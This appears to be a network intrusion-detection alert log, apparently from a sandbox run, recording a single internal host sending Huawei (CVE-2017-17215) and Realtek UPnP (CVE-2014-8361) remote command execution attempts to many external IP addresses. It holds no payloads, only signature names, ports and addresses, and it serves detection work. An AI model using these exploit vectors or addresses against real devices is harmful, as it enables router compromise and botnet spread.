07/20/24-23:10:39.723592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57064	52869	192.168.2.15	194.217.196.209
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45196	37215	192.168.2.15	197.60.50.224
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38052	37215	192.168.2.15	197.191.203.98
07/20/24-23:10:39.192692	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53962	52869	192.168.2.15	189.107.255.223
07/20/24-23:10:56.002190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45448	37215	192.168.2.15	157.122.32.225
07/20/24-23:10:51.926807	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39004	52869	192.168.2.15	196.217.9.9
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46994	37215	192.168.2.15	197.196.30.239
07/20/24-23:11:03.396634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35510	37215	192.168.2.15	41.243.22.191
07/20/24-23:10:51.917055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54818	52869	192.168.2.15	195.68.182.111
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34180	37215	192.168.2.15	197.171.167.40
07/20/24-23:10:51.971548	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49762	52869	192.168.2.15	192.27.39.245
07/20/24-23:10:39.100414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41758	52869	192.168.2.15	89.171.240.248
07/20/24-23:10:42.267699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36198	37215	192.168.2.15	41.185.22.151
07/20/24-23:10:41.222609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45306	37215	192.168.2.15	197.111.165.124
07/20/24-23:10:45.080820	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36212	52869	192.168.2.15	92.54.7.102
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42482	37215	192.168.2.15	197.10.69.143
07/20/24-23:10:52.008043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34792	52869	192.168.2.15	47.2.9.114
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41616	37215	192.168.2.15	157.135.201.192
07/20/24-23:11:06.669620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55222	37215	192.168.2.15	206.61.255.0
07/20/24-23:10:40.204129	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36464	52869	192.168.2.15	152.242.221.75
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37804	37215	192.168.2.15	60.32.252.28
07/20/24-23:10:47.852736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33888	52869	192.168.2.15	153.91.88.242
07/20/24-23:10:43.610550	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48780	52869	192.168.2.15	196.54.140.130
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37826	37215	192.168.2.15	207.249.57.69
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38206	37215	192.168.2.15	205.98.7.209
07/20/24-23:10:43.404449	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55002	52869	192.168.2.15	40.139.206.8
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60696	37215	192.168.2.15	99.203.56.30
07/20/24-23:10:45.877183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60732	52869	192.168.2.15	198.105.114.189
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44126	37215	192.168.2.15	41.216.252.34
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50942	37215	192.168.2.15	197.83.254.57
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58030	37215	192.168.2.15	197.57.193.59
07/20/24-23:10:43.874968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52408	52869	192.168.2.15	223.179.196.98
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41702	37215	192.168.2.15	197.166.125.235
07/20/24-23:11:03.378464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41260	37215	192.168.2.15	82.183.236.197
07/20/24-23:10:42.248539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42562	37215	192.168.2.15	197.111.99.127
07/20/24-23:10:42.620951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58956	52869	192.168.2.15	24.231.54.99
07/20/24-23:10:52.004720	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41498	52869	192.168.2.15	2.202.26.203
07/20/24-23:10:49.341206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35524	37215	192.168.2.15	41.144.229.43
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39814	37215	192.168.2.15	157.131.11.118
07/20/24-23:10:40.601389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40936	37215	192.168.2.15	144.85.64.233
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56126	37215	192.168.2.15	197.67.131.214
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38740	37215	192.168.2.15	41.193.215.35
07/20/24-23:10:56.016286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54254	37215	192.168.2.15	197.19.206.241
07/20/24-23:10:52.047583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34010	52869	192.168.2.15	86.217.29.78
07/20/24-23:11:03.365384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58894	37215	192.168.2.15	41.221.124.156
07/20/24-23:11:06.689939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60822	37215	192.168.2.15	157.55.126.137
07/20/24-23:10:51.915099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38146	52869	192.168.2.15	126.29.154.162
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50524	37215	192.168.2.15	157.173.171.152
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50180	37215	192.168.2.15	197.37.247.195
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41138	37215	192.168.2.15	41.123.221.145
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60746	37215	192.168.2.15	41.253.43.252
07/20/24-23:10:52.045718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44108	52869	192.168.2.15	86.115.137.64
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49026	37215	192.168.2.15	157.4.105.187
07/20/24-23:11:03.365385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54194	37215	192.168.2.15	157.38.21.29
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60040	37215	192.168.2.15	157.122.204.244
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47976	37215	192.168.2.15	148.185.232.135
07/20/24-23:10:39.103625	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32838	52869	192.168.2.15	220.55.101.199
07/20/24-23:10:51.951774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55884	52869	192.168.2.15	57.100.65.212
07/20/24-23:10:41.221769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38674	37215	192.168.2.15	41.81.0.187
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46956	37215	192.168.2.15	197.16.205.236
07/20/24-23:10:41.221061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49914	37215	192.168.2.15	41.221.232.221
07/20/24-23:10:40.656426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38834	37215	192.168.2.15	172.191.63.12
07/20/24-23:10:47.748417	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44756	52869	192.168.2.15	209.16.225.185
07/20/24-23:10:45.853008	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54332	52869	192.168.2.15	208.102.55.155
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51404	37215	192.168.2.15	41.167.79.148
07/20/24-23:10:44.227698	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59420	52869	192.168.2.15	173.225.79.113
07/20/24-23:10:51.897021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39128	52869	192.168.2.15	109.200.111.240
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52910	37215	192.168.2.15	197.205.160.99
07/20/24-23:10:42.253017	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33244	37215	192.168.2.15	157.22.166.123
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51906	37215	192.168.2.15	41.89.109.175
07/20/24-23:10:39.430384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43798	37215	192.168.2.15	103.246.101.15
07/20/24-23:10:39.473095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41832	37215	192.168.2.15	41.130.29.61
07/20/24-23:10:42.642008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50644	52869	192.168.2.15	151.94.173.235
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55726	37215	192.168.2.15	41.148.32.198
07/20/24-23:10:51.900659	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53666	52869	192.168.2.15	43.91.208.66
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50908	37215	192.168.2.15	42.63.101.142
07/20/24-23:10:40.601389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34274	37215	192.168.2.15	157.70.57.191
07/20/24-23:10:41.673540	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34538	37215	192.168.2.15	41.133.193.71
07/20/24-23:10:52.563890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60842	37215	192.168.2.15	41.14.238.220
07/20/24-23:11:03.361095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48844	37215	192.168.2.15	41.190.172.77
07/20/24-23:10:55.993044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47416	37215	192.168.2.15	105.163.214.37
07/20/24-23:10:41.220575	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60146	37215	192.168.2.15	41.247.243.177
07/20/24-23:10:41.234520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37992	37215	192.168.2.15	197.218.107.66
07/20/24-23:10:51.900658	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41830	52869	192.168.2.15	221.255.54.167
07/20/24-23:10:48.340035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59990	52869	192.168.2.15	61.206.111.53
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45258	37215	192.168.2.15	23.152.243.164
07/20/24-23:11:06.674872	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59700	37215	192.168.2.15	179.62.67.97
07/20/24-23:10:56.039438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54238	37215	192.168.2.15	185.0.88.111
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59832	37215	192.168.2.15	157.124.152.142
07/20/24-23:11:03.415682	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41208	37215	192.168.2.15	41.166.39.7
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40962	37215	192.168.2.15	58.5.254.83
07/20/24-23:10:42.622797	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41408	52869	192.168.2.15	217.115.151.81
07/20/24-23:10:46.726397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59324	37215	192.168.2.15	157.215.163.237
07/20/24-23:10:41.220541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43324	37215	192.168.2.15	41.28.65.67
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51878	37215	192.168.2.15	68.197.157.97
07/20/24-23:10:49.383600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49878	37215	192.168.2.15	197.123.0.39
07/20/24-23:10:52.517494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49884	37215	192.168.2.15	197.170.80.233
07/20/24-23:10:52.540929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54278	37215	192.168.2.15	157.193.80.220
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34024	37215	192.168.2.15	88.19.102.203
07/20/24-23:10:42.621600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45858	52869	192.168.2.15	220.239.248.79
07/20/24-23:10:52.521111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47582	37215	192.168.2.15	197.14.205.20
07/20/24-23:11:03.343633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45328	37215	192.168.2.15	157.106.207.157
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58642	37215	192.168.2.15	157.235.78.126
07/20/24-23:10:51.984562	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34948	52869	192.168.2.15	119.185.234.171
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45576	37215	192.168.2.15	64.20.21.79
07/20/24-23:10:47.646267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56986	52869	192.168.2.15	222.252.7.7
07/20/24-23:10:47.441342	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47594	52869	192.168.2.15	42.250.239.223
07/20/24-23:10:44.103705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52578	52869	192.168.2.15	195.207.0.55
07/20/24-23:10:47.793944	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46796	52869	192.168.2.15	54.133.250.242
07/20/24-23:10:51.917055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46912	52869	192.168.2.15	172.149.150.175
07/20/24-23:10:42.661465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47494	52869	192.168.2.15	222.46.101.20
07/20/24-23:10:51.951774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53538	52869	192.168.2.15	8.13.226.92
07/20/24-23:10:52.005273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32828	52869	192.168.2.15	135.178.159.192
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55546	37215	192.168.2.15	41.57.221.248
07/20/24-23:10:59.057855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38322	37215	192.168.2.15	209.118.30.87
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54980	37215	192.168.2.15	197.198.39.152
07/20/24-23:10:48.599248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56388	52869	192.168.2.15	152.73.4.67
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60562	37215	192.168.2.15	149.205.10.158
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33412	37215	192.168.2.15	197.185.248.50
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46168	37215	192.168.2.15	126.92.188.140
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46848	37215	192.168.2.15	136.9.133.29
07/20/24-23:10:44.062554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34730	52869	192.168.2.15	129.64.233.15
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56500	37215	192.168.2.15	41.34.3.219
07/20/24-23:10:46.711367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42892	37215	192.168.2.15	197.31.73.154
07/20/24-23:11:03.361259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59896	37215	192.168.2.15	41.155.11.69
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43442	37215	192.168.2.15	157.88.167.209
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38158	37215	192.168.2.15	197.204.196.247
07/20/24-23:10:42.630809	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47378	52869	192.168.2.15	1.160.86.11
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38892	37215	192.168.2.15	124.1.175.52
07/20/24-23:10:52.047769	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51812	52869	192.168.2.15	159.255.12.160
07/20/24-23:10:56.011227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40292	37215	192.168.2.15	197.63.58.18
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48738	37215	192.168.2.15	157.157.125.26
07/20/24-23:11:03.339788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57628	37215	192.168.2.15	41.146.53.116
07/20/24-23:10:43.056421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41928	52869	192.168.2.15	99.118.106.29
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41968	37215	192.168.2.15	197.226.226.43
07/20/24-23:11:03.361095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45910	37215	192.168.2.15	72.206.41.225
07/20/24-23:10:45.071813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60978	52869	192.168.2.15	103.118.11.148
07/20/24-23:10:48.433861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54984	52869	192.168.2.15	163.51.19.31
07/20/24-23:10:43.634330	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37436	52869	192.168.2.15	203.235.22.121
07/20/24-23:10:51.908570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40374	52869	192.168.2.15	60.216.97.213
07/20/24-23:10:39.109562	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58256	52869	192.168.2.15	24.231.54.99
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43670	37215	192.168.2.15	41.226.172.60
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55552	37215	192.168.2.15	83.35.196.3
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39050	37215	192.168.2.15	41.13.92.10
07/20/24-23:10:59.067929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36638	37215	192.168.2.15	41.50.250.30
07/20/24-23:10:51.999918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47492	52869	192.168.2.15	101.180.103.77
07/20/24-23:10:51.961780	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45786	52869	192.168.2.15	137.150.64.194
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48450	37215	192.168.2.15	41.83.140.24
07/20/24-23:10:39.654317	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59330	52869	192.168.2.15	107.205.165.229
07/20/24-23:10:51.915609	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59672	52869	192.168.2.15	178.155.139.110
07/20/24-23:10:56.002189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59280	37215	192.168.2.15	41.181.106.45
07/20/24-23:10:39.438135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59254	37215	192.168.2.15	197.143.76.23
07/20/24-23:10:51.931701	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36148	52869	192.168.2.15	192.147.178.21
07/20/24-23:10:52.006529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56106	52869	192.168.2.15	133.76.164.119
07/20/24-23:10:40.608330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59710	37215	192.168.2.15	157.36.31.158
07/20/24-23:10:52.530643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37984	37215	192.168.2.15	157.120.104.238
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57872	37215	192.168.2.15	197.74.251.202
07/20/24-23:10:51.899861	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44826	52869	192.168.2.15	66.29.130.220
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49476	37215	192.168.2.15	201.135.8.30
07/20/24-23:10:44.023623	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39924	52869	192.168.2.15	34.33.224.36
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34290	37215	192.168.2.15	197.223.234.147
07/20/24-23:10:51.896795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43184	52869	192.168.2.15	99.118.106.29
07/20/24-23:10:51.971547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56434	52869	192.168.2.15	19.7.44.118
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41866	37215	192.168.2.15	140.235.15.87
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54556	37215	192.168.2.15	59.27.85.148
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41532	37215	192.168.2.15	41.243.66.113
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55772	37215	192.168.2.15	157.136.199.255
07/20/24-23:10:52.045718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49162	52869	192.168.2.15	114.103.82.126
07/20/24-23:10:39.383138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51404	52869	192.168.2.15	104.126.44.136
07/20/24-23:10:51.950529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42078	52869	192.168.2.15	101.108.145.138
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44918	37215	192.168.2.15	197.137.90.252
07/20/24-23:10:52.517494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40496	37215	192.168.2.15	41.95.191.180
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55772	37215	192.168.2.15	197.219.253.151
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42676	37215	192.168.2.15	157.135.74.226
07/20/24-23:10:51.940743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59454	52869	192.168.2.15	202.116.72.105
